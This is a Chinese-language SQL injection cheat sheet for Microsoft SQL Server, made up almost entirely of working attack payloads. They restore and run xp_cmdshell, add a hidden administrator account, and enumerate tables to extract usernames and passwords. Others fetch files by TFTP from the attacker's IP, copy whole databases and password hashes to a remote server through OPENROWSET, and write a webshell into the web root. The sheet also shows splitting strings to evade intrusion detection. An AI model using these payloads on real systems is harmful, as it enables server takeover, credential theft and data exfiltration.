看数据库连接账号的权限，返回正常，证明是服务器角色sysadmin权限。   
and 1=(Select IS\_SRVROLEMEMBER('sysadmin'))--   
  
判断连接数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）   
and 'sa'=(Select System\_user)--   
and user\_name()='dbo'--   
and 0<>(select user\_name()--   
看xp\_cmdshell是否删除   
  
and 1=(Select count(\*) FROM master.dbo.sysobjects Where xtype = 'X' AND   
name = 'xp\_cmdshell')--   
  
xp\_cmdshell被删除，恢复,支持绝对路径的恢复   
;EXEC master.dbo.sp\_addextendedproc 'xp\_cmdshell','xplog70.dll'--   
;EXEC master.dbo.sp\_addextendedproc   
'xp\_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--   
  
反向PING自己实验   
;use master;declare @s int;exec sp\_oacreate "wscript.shell",@s out;exec   
sp\_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--   
  
加帐号   
;DECLARE @shell INT EXEC SP\_OACreate 'wscript.shell',@shell OUTPUT EXEC   
SP\_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user   
jiaoniang$ 1866574 /add'--   
  
创建一个虚拟目录E盘：   
;declare @o int exec sp\_oacreate 'wscript.shell', @o out exec sp\_oamethod   
@o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点"   
-v "e","e：\"'--   
  
访问属性：（配合写入一个webshell）   
declare @o int exec sp\_oacreate 'wscript.shell', @o out exec sp\_oamethod   
@o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a   
w3svc/1/ROOT/e +browse'   
  
爆库 特殊技巧：:%5c='\' 或者把/和\ 修改%5提交   
  
  
如何得到SQLSERVER某个数据库中所有表的表名？   
  
  
--------------------------------------------------------------------------------   
  
用户表：   
select name from sysobjects where xtype = 'U';   
  
系统表：   
select name from sysobjects where xtype = 'S';   
  
所有表：   
select name from sysobjects where xtype = 'S' or xtype = 'U';   
  
--------------------------------------------------------------------------------   
and 0<>(select top 1 paths from newtable)--   
得到库名（从1到5都是系统的id，6以上才可以判断）   
  
and 1=(select name from master.dbo.sysdatabases where dbid=7)--   
and 0<>(select count(\*) from master.dbo.sysdatabases where name>1 and   
dbid=6)   
  
依次提交 dbid = 7,8,9.... 得到更多的数据库名   
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表   
假设为 admin   
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name   
not in ('Admin')) 来得到其他的表。   
and 0<>(select count(\*) from bbs.dbo.sysobjects where xtype='U' and   
name='admin'   
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id   
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569)   
得到一个admin的一个字段,假设为 user\_id   
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and   
name not in   
('id',...)) 来暴出其他的字段   
and 0<(select user\_id from BBS.dbo.admin where username>1) 可以得到用户名   
依次可以得到密码。。。。。假设存在user\_id username ,password 等字段   
and 0<>(select count(\*) from master.dbo.sysdatabases where name>1 and   
dbid=6)   
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名   
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name   
not in('Address'))   
and 0<>(select count(\*) from bbs.dbo.sysobjects where xtype='U' and   
name='admin' and uid>(str(id))) 判断id值   
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段   
  
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,\* from admin   
?id=-1 union select 1,2,3,4,5,6,7,8,\*,9,10,11,12,13 from admin   
(union，access也好用)   
得到WEB路径   
;create table [dbo].[swap] ([swappass][char](255));--   
and (select top 1 swappass from swap)=1--   
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare   
@test varchar(20) exec master..xp\_regread @rootkey='HKEY\_LOCAL\_MACHINE',   
@key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\',   
@value\_name='/', values=@test OUTPUT insert into paths(path)   
values(@test)--   
;use ku1;--   
;create table cmd (str image);-- 建立image类型的表cmd   
存在xp\_cmdshell的测试过程：   
;exec master..xp\_cmdshell 'dir'   
;exec master.dbo.sp\_addlogin jiaoniang$;-- 加SQL帐号   
;exec master.dbo.sp\_password null,jiaoniang$,1866574;--   
;exec master.dbo.sp\_addsrvrolemember jiaoniang$ sysadmin;--   
;exec master.dbo.xp\_cmdshell 'net user jiaoniang$ 1866574 /workstations:\*   
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--   
;exec master.dbo.xp\_cmdshell 'net localgroup administrators jiaoniang$   
/add';--   
exec master..xp\_servicecontrol 'start', 'schedule' 启动服务   
exec master..xp\_servicecontrol 'start', 'server'   
; DECLARE @shell INT EXEC SP\_OACreate 'wscript.shell',@shell OUTPUT EXEC   
SP\_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net user   
jiaoniang$ 1866574 /add'   
;DECLARE @shell INT EXEC SP\_OACreate 'wscript.shell',@shell OUTPUT EXEC   
SP\_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net   
localgroup administrators jiaoniang$ /add'   
'; exec master..xp\_cmdshell 'tftp -i youip get file.exe'-- 利用TFTP上传文件   
;declare @a sysname set @a='xp\_'+'cmdshell' exec @a 'dir c:\'   
;declare @a sysname set @a='xp'+'\_cm’+’dshell' exec @a 'dir c:\'   
;declare @a;set @a=db\_name();backup database @a to   
disk='你的IP你的共享目录bak.dat'   
如果被限制则可以。   
select \* from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec   
master.dbo.sp\_addlogin hax')   
查询构造：   
Select \* FROM news Where id=... AND topic=... AND .....   
admin'and 1=(select count(\*) from [user] where username='victim' and   
right(left(userpass,01),1)='1') and userpass <>'   
select 123;--   
;use master;--   
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。   
and 1<>(select count(email) from [user]);--   
;update [users] set email=(select top 1 name from sysobjects where   
xtype='u' and status>0) where name='ffff';--   
;update [users] set email=(select top 1 id from sysobjects where xtype='u'   
and name='ad') where name='ffff';--   
';update [users] set email=(select top 1 name from sysobjects where   
xtype='u' and id>581577110) where name='ffff';--   
';update [users] set email=(select top 1 count(id) from password) where   
name='ffff';--   
';update [users] set email=(select top 1 pwd from password where id=2)   
where name='ffff';--   
';update [users] set email=(select top 1 name from password where id=2)   
where name='ffff';--   
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。   
通过查看ffff的用户资料可得第一个用表叫ad   
然后根据表名ad得到这个表的ID 得到第二个表的名字   
insert into users values( 666,   
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),   
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--   
insert into users values( 667,123,123,0xffff)--   
insert into users values ( 123, 'admin''--', 'password', 0xffff)--   
;and user>0   
;and (select count(\*) from sysobjects)>0   
;and (select count(\*) from mysysobjects)>0 //为access数据库   
枚举出数据表名   
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and   
status>0);--   
这是将第一个表名更新到aaa的字段处。   
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>'刚才得到的表名'）。   
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and   
status>0 and name<>'vote');--   
然后id=1552 and exists(select \* from aaa where aaa>5)   
读出第二个表，一个个的读出，直到没有为止。   
读字段是这样：   
;update aaa set aaa=(select top 1 col\_name(object\_id('表名'),1));--   
然后id=152 and exists(select \* from aaa where aaa>5)出错，得到字段名   
;update aaa set aaa=(select top 1 col\_name(object\_id('表名'),2));--   
然后id=152 and exists(select \* from aaa where aaa>5)出错，得到字段名   
[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]   
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and   
status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件] select top 1 name from   
sysobjects where xtype=u and status>0 and name not in('table1','table2',…)   
  
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]   
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]   
update 表名 set 字段=(select top 1 col\_name(object\_id('要查询的数据表名'),字段列如:1) [   
where 条件]   
绕过IDS的检测[使用变量]   
;declare @a sysname set @a='xp\_'+'cmdshell' exec @a 'dir c:\'   
;declare @a sysname set @a='xp'+'\_cm’+’dshell' exec @a 'dir c:\'   
1、 开启远程数据库   
基本语法   
select \* from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123',   
'select \* from table1' )   
参数: (1) OLEDB Provider name   
2、 其中连接字符串参数可以是任何端口用来连接,比如   
select \* from OPENROWSET('SQLOLEDB',   
'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;', 'select \*   
from table'   
3.复制目标主机的整个数据库insert所有远程表到本地表。   
基本语法：   
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123',   
'select \* from table1') select \* from table2   
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：   
  
insert into   
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select   
\* from table1') select \* from table2   
insert into   
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select   
\* from \_sysdatabases')   
select \* from master.dbo.sysdatabases   
insert into   
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select   
\* from \_sysobjects')   
select \* from user\_database.dbo.sysobjects   
insert into   
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select   
\* from \_syscolumns')   
select \* from user\_database.dbo.syscolumns   
复制数据库：   
insert into   
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select   
\* from table1') select \* from database..table1   
insert into   
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select   
\* from table2') select \* from database..table2   
复制哈西表（HASH）登录密码的hash存储于sysxlogins中。方法如下：   
insert into OPENROWSET('SQLOLEDB',   
'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select \* from   
\_sysxlogins') select \* from database.dbo.sysxlogins   
得到hash之后，就可以进行暴力破解。   
遍历目录的方法： 先创建一个临时表：temp   
';create table temp(id nvarchar(255),num1 nvarchar(255),num2   
nvarchar(255),num3 nvarchar(255));--   
';insert temp exec master.dbo.xp\_availablemedia;-- 获得当前所有驱动器   
';insert into temp(id) exec master.dbo.xp\_subdirs 'c:\';-- 获得子目录列表   
';insert into temp(id,num1) exec master.dbo.xp\_dirtree 'c:\';--   
获得所有子目录的目录树结构,并寸入temp表中   
';insert into temp(id) exec master.dbo.xp\_cmdshell 'type   
c:\web\index.asp';-- 查看某个文件的内容   
';insert into temp(id) exec master.dbo.xp\_cmdshell 'dir c:\';--   
';insert into temp(id) exec master.dbo.xp\_cmdshell 'dir c:\ \*.asp /s/a';--   
  
';insert into temp(id) exec master.dbo.xp\_cmdshell 'cscript   
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'   
';insert into temp(id,num1) exec master.dbo.xp\_dirtree 'c:\';--   
（xp\_dirtree适用权限PUBLIC）   
写入表：   
语句1：and 1=(Select IS\_SRVROLEMEMBER('sysadmin'));--   
语句2：and 1=(Select IS\_SRVROLEMEMBER('serveradmin'));--   
语句3：and 1=(Select IS\_SRVROLEMEMBER('setupadmin'));--   
语句4：and 1=(Select IS\_SRVROLEMEMBER('securityadmin'));--   
语句5：and 1=(Select IS\_SRVROLEMEMBER('securityadmin'));--   
语句6：and 1=(Select IS\_SRVROLEMEMBER('diskadmin'));--   
语句7：and 1=(Select IS\_SRVROLEMEMBER('bulkadmin'));--   
语句8：and 1=(Select IS\_SRVROLEMEMBER('bulkadmin'));--   
语句9：and 1=(Select IS\_MEMBER('db\_owner'));--   
把路径写到表中去：   
;create table dirs(paths varchar(100), id int)--   
;insert dirs exec master.dbo.xp\_dirtree 'c:\'--   
and 0<>(select top 1 paths from dirs)--   
and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--   
;create table dirs1(paths varchar(100), id int)--   
;insert dirs exec master.dbo.xp\_dirtree 'e:\web'--   
and 0<>(select top 1 paths from dirs1)--   
把数据库备份到网页目录：下载   
;declare @a sysname; set @a=db\_name();backup database @a to   
disk='e:\web\down.bak';--   
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where   
xtype=char(85)) T order by id desc)   
and 1=(Select Top 1 col\_name(object\_id('USER\_LOGIN'),1) from sysobjects)   
参看相关表。   
and 1=(select user\_id from USER\_LOGIN)   
and 0=(select user from USER\_LOGIN where user>1)   
-=- wscript.shell example -=-   
declare @o int   
exec sp\_oacreate 'wscript.shell', @o out   
exec sp\_oamethod @o, 'run', NULL, 'notepad.exe'   
'; declare @o int exec sp\_oacreate 'wscript.shell', @o out exec   
sp\_oamethod @o, 'run', NULL, 'notepad.exe'--   
declare @o int, @f int, @t int, @ret int   
declare @line varchar(8000)   
exec sp\_oacreate 'scripting.filesystemobject', @o out   
exec sp\_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1   
exec @ret = sp\_oamethod @f, 'readline', @line out   
while( @ret = 0 )   
begin   
print @line   
exec @ret = sp\_oamethod @f, 'readline', @line out   
end   
declare @o int, @f int, @t int, @ret int   
exec sp\_oacreate 'scripting.filesystemobject', @o out   
exec sp\_oamethod @o, 'createtextfile', @f out,   
'c:\inetpub\wwwroot\foo.asp', 1   
exec @ret = sp\_oamethod @f, 'writeline', NULL,   
''   
declare @o int, @ret int   
exec sp\_oacreate 'speech.voicetext', @o out   
exec sp\_oamethod @o, 'register', NULL, 'foo', 'bar'   
exec sp\_oasetproperty @o, 'speed', 150   
exec sp\_oamethod @o, 'speak', NULL, 'all your sequel servers are belong   
to,us', 528   
waitfor delay '00:00:05'   
'; declare @o int, @ret int exec sp\_oacreate 'speech.voicetext', @o out   
exec sp\_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp\_oasetproperty   
@o, 'speed', 150 exec sp\_oamethod @o, 'speak', NULL, 'all your sequel   
servers are belong to us', 528 waitfor delay '00:00:05'--   
xp\_dirtree适用权限PUBLIC   
exec master.dbo.xp\_dirtree 'c:\'   
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。   
create table dirs(paths varchar(100), id int)   
建表，这里建的表是和上面xp\_dirtree相关连，字段相等、类型相同。   
insert dirs exec master.dbo.xp\_dirtree 'c:\'   
只要我们建表与存储进程返回的字段相定义相等就能够执行！达到写表的效果,一步步达到我们想要的信息！